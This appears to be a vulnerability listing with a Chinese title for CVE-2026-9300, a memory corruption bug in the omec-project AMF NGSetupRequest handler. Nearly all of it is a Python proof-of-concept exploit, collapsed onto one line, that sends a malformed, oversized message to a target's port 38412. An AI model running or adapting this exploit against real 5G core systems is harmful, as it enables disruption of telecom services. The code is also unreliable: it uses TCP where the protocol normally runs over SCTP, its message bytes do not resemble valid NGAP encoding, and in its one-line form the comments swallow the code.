CVE-2026-9300: omec-project AMF NGSetupRequest Handler内存损坏漏洞

#!/usr/bin/env python3 # CVE-2026-9300 PoC - NGSetupRequest Memory Corruption # Target: omec-project AMF < 2.1.1 import socket import struct import sys def create_malicious_ngsetup_request(): """Generate malicious NGSetupRequest with overflowing data""" # NGAP Protocol IE - NGSetupRequest # Malicious payload to trigger memory corruption in handler header = bytes([ 0x00, 0x0f, 0x10, 0x00, # NGAP PDU Type: NGSetupRequest 0x00, 0x00, 0x00, 0x01 # Procedure Code ]) # Trigger overflow with excessive IE data overflow_data = b'A' * 1024 # Overflow payload # Malformed IE with incorrect length field malformed_ie = bytes([ 0x00, 0x40, # IE ID 0x00, 0xff, 0xff, # Incorrect length (trigger overflow) 0x00, # Criticality 0x00 # Presence ]) payload = header + malformed_ie + overflow_data return payload def exploit(target_ip, target_port=38412): """Send exploit payload to target AMF service""" print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Generating malicious NGSetupRequest...") payload = create_malicious_ngsetup_request() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Sending exploit payload ({len(payload)} bytes)...") sock.send(payload) response = sock.recv(1024) if response: print(f"[+] Received response: {response.hex()}") sock.close() print("[*] Exploit sent successfully") except Exception as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 38412 exploit(target, port)